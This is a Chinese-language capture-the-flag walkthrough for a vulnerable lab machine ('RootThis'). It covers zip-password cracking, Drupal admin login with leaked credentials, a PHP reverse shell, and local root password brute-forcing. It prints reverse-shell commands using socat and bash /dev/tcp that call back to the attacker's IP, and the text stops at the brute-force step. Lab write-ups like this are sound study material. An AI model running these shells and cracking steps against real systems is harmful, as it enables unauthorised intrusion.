Vuln:RootThist的步骤

使用netdiscover针对局域网中主机进行扫描存活

这里Kali攻击机器是192.168.0.106

目标靶机位192.168.0.105

 

常规的信息收集

端口

存在默认http端口 使用apache 2.4.25 使用debian系统

此中间件版本存在解析漏洞，之后可以用在文件上传上面

 

目录

Backup中获得加密的zip文件

Drupal CMS存在许多漏洞

 

CMS漏洞扫描

https://www.ddosi.com/cms-scan/  推荐的扫描器集合

目前已经确认网站使用durpal框架

 

 

 

获取更多的暴露面

 

 

目前已经拿到backup加密压缩文件以及登录页面

Durpal 7 版本

先查看文件是zip文件但是存在密码

 

使用zip2john 获取hash值

在使用john进行爆破hash

卒

 

换fcrackzip

密码为thebackup

 

Unzip解压查看压缩包内容

使用cat命令查看dump.sql也就是压缩包的文件内容

上somd5 查看

root:drupal

webman:moranguita

 

将获得账户密码登录drupal管理页面

使用webman用户登录成功

 

进入后台之后要获取shell

1. 知道框架为drupal 7 可以使用已知的漏洞来打下
2. 寻找上传点
3. 查看是否存在系统工具存在RCE
4. 发布网页直接使用php反弹shell
5. 也可以文件包含我们写好的小马网页

 

此处我们可以直接发布一个网页，插入php反弹shell,当我们发布的时候使用nc进行本地监听端口即可。

从上图可以看到，我们没有安装php的插件，是不会进行解析的，我们需要到插件中安装

最后要保存配置

修改反弹ip以及监听端口

使用nc在本地进行监听

 Nc –nvlp 5050

监听后发布文章

获取www-data权限

进行本地提权

本地提权的前提也是需要信息收集

他没有安装python2

我们使用socat工具反弹一个shell

Socat安装链接

https://github.com/andrew-d/static-binaries/blob/master/binaries/linux/x86_64/socat

上图，在kali中使用python开启simplehttpsever服务

靶机使用wget命令获取socat工具

在Kali中设置socat监听

socat file:`tty`,raw,echo=0 tcp-listen:5051

靶机中执行

socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:192.168.0.106:5051

以上相同可以使用nc作为监听

Nc –nvlp 5051

靶机中也可以使用bash反弹

bash -c 'bash >&/dev/tcp/192.168.0.106/5051 0>&1'

 

获取一个新的tty之后

本地提权的信息收集：

在home/user下找到提示

Rockyou的前300条是root用户的密码

在kali中使用head命令

上图完成前300条的字典

使用sucrack工具进行本地密码的爆破

找到kali系统sucrack工具存放的位置：

将sucrack工具和1.txt字典一共传到靶机/tmp文件夹下

 

 

使用sucrack工具进行爆破